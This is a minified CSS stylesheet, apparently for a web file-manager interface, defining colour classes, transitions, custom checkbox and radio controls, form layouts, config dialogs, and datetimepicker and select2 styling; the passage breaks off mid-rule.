.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{border:none;height:1px;overflow:hidden;background:#ddd;margin:10px 30px;height:2px;background:transparent url("../../../images/common/line.png") repeat-x 0 0;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #ddd;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box .ztree.group-list-tree .hover .sub-menu{display:inline-block;color:#666;}.form-box .ztree.group-list-tree .curSelectedNode .sub-menu,.form-box .ztree.group-list-tree .hover.curSelectedNode .sub-menu{display:inline-block;color:#fff;}.form-box-title-left .form-row .setting-title{text-align:left;}body .colorpicker{z-index:99999;}body .dialog-plugin-config.dialog-no-title .aui-outer{box-shadow:0 6px 40px 0 rgba(16,17,18,0.3);border:1px solid #ccc !important;border-radius:4px;overflow:hidden;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close{color:#bbb;color:rgba(0,0,0,0.2);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active{background:rgba(0,0,0,0.12);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-min:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-max:active.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:hover.aui-close,body .dialog-plugin-config.dialog-no-title .aui-outer .aui-close:active.aui-close{color:#fff;background:#e81123;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons{padding-right:20px;height:40px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons button{margin-top:5px;margin-left:20px;padding:0 2em;height:30px;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset{background:none;border:none;box-shadow:none;padding:0px 10px;color:#bbb;}body .dialog-plugin-config.dialog-no-title .aui-outer .aui-buttons .btn-config-reset:hover{color:#2196F3;background:#eaf5ff;}div.xdsoft_datetimepicker{border-top:2px solid #39f;padding:0;height:250px;color:#666;}div.xdsoft_datetimepicker .xdsoft_label,div.xdsoft_datetimepicker .xdsoft_month{text-align:center;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_label:hover,div.xdsoft_datetimepicker .xdsoft_month:hover{text-decoration:none;background:#e6f2ff;}div.xdsoft_datetimepicker .xdsoft_label:hover span,div.xdsoft_datetimepicker .xdsoft_month:hover span{color:#20a0ff;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select{box-shadow:0px 2px 10px rgba(0,0,0,0.2);border:1px solid rgba(0,0,0,0.1);max-height:300px;height:200px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_monthselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_monthselect{right:0px;width:90px;}div.xdsoft_datetimepicker .xdsoft_label > .xdsoft_select.xdsoft_yearselect,div.xdsoft_datetimepicker .xdsoft_month > .xdsoft_select.xdsoft_yearselect{right:0px;width:56px;}div.xdsoft_datetimepicker .xdsoft_scrollbar >.xdsoft_scroller{background:rgba(0,0,0,0.3) !important;}div.xdsoft_datetimepicker .xdsoft_calendar td,div.xdsoft_datetimepicker .xdsoft_calendar th{height:30px;text-align:center;background:none;border:none;}div.xdsoft_datetimepicker .xdsoft_calendar td div,div.xdsoft_datetimepicker .xdsoft_calendar th div{padding:0;}div.xdsoft_datetimepicker .xdsoft_calendar th{background:#eee;color:#444;font-weight:400;}div.xdsoft_datetimepicker .xdsoft_datepicker{width:220px;margin-right:10px;}div.xdsoft_datetimepicker .xdsoft_datepicker.active+.xdsoft_timepicker{margin:0;}div.xdsoft_datetimepicker .xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid 